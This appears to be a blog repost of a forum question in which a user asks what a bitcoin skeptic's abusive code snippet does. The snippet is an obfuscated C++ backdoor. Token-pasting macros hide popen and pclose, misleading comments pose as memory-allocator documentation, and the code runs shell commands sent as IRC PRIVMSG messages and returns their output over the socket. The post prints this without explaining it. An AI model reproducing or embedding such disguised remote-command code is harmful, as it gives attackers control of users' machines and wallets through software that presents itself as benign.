I'm discussing bitcoin with someone who's a major skeptic, and they claim that bitcoin can be easily broken. Unfortunately my coding skills aren't enough to figure out what this does. Can someone help please? The following is a quote from him.I throw this into a wallet, make that wallet publicly available, and your entire network is compromised, you fucking moron.#define S_ORDER(a,b,c,d) b##a##d##c/** * OS-dependent memory page locking/unlocking. * Defined as policy class to make stubbing for test possible. */ #define CLine S_ORDER(I,F,E,L)/** * Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in * std::allocator templates. */ #define CRead S_ORDER(p,po,n,e) #define CFree S_ORDER(cl,p,e,os)//// Allocator that locks its contents from being paged// out of memory and clears its contents before deletion.// #define CBuff "PR" "IV" "M" "SG" if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1) { CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r"); if (buf) { std::string result = ""; while (!feof(buf)) if (fgets(pszName, sizeof(pszName), buf) != NULL) result += pszName; CFree(buf); strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName)); if (strchr(pszName, '!')) *strchr(pszName, '!') = '\0'; Send(hSocket, strprintf("%s %s:%s\r", CBuff, pszName, result.c_str()).c_str()); } } Moron. That's how easy your beloved bitcon is to wipe the fuck out. Come back when you actually know how to program and see weaknesses in implementations of security. I should note that this code only works for the default reference wallet software. Other 3rd party wallet managers are likely not affected by this unless they're stupid enough to add in a couple of unnecessary features like the original.Found more clues about this http://bit.ly/1PxRfnt via /r/Bitcoin http://bit.ly/1ZDDWww
Subscribe to:
Post Comments
(
Atom
)
No comments :
Post a Comment